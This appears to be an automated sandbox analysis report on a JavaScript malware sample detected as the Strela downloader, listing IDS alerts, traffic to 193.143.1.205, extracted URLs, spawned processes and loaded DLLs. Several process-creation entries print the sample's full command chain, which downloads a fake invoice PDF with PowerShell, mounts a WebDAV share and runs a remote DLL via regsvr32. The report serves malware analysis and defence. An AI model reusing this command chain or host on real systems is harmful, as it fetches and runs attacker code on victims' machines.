Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1671421237.000002B6EBB61000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1734566339.000001AAD738A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1734498404.000001AAD7358000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1733046854.000001AAD738A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1734566339.000001AAD738A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/W
Source: net.exe, 00000006.00000002.1734498404.000001AAD7358000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tem
Source: svchost.exe, 00000008.00000002.2967604807.0000023026C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1731380692.0000023026E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1731380692.0000023026E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1731380692.0000023026E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1731380692.0000023026E4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1731380692.0000023026EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1731380692.0000023026EC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1731380692.0000023026EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7680, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 35491083472324549.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8080

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7740:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y5sup1vo.gtw.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 35491083472324549.js	ReversingLabs: Detection: 13%
Source: 35491083472324549.js	Virustotal: Detection: 14%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\35491083472324549.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1596,i,1186940442313801581,7832851358517794452,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\46001547819337.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1596,i,1186940442313801581,7832851358517794452,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
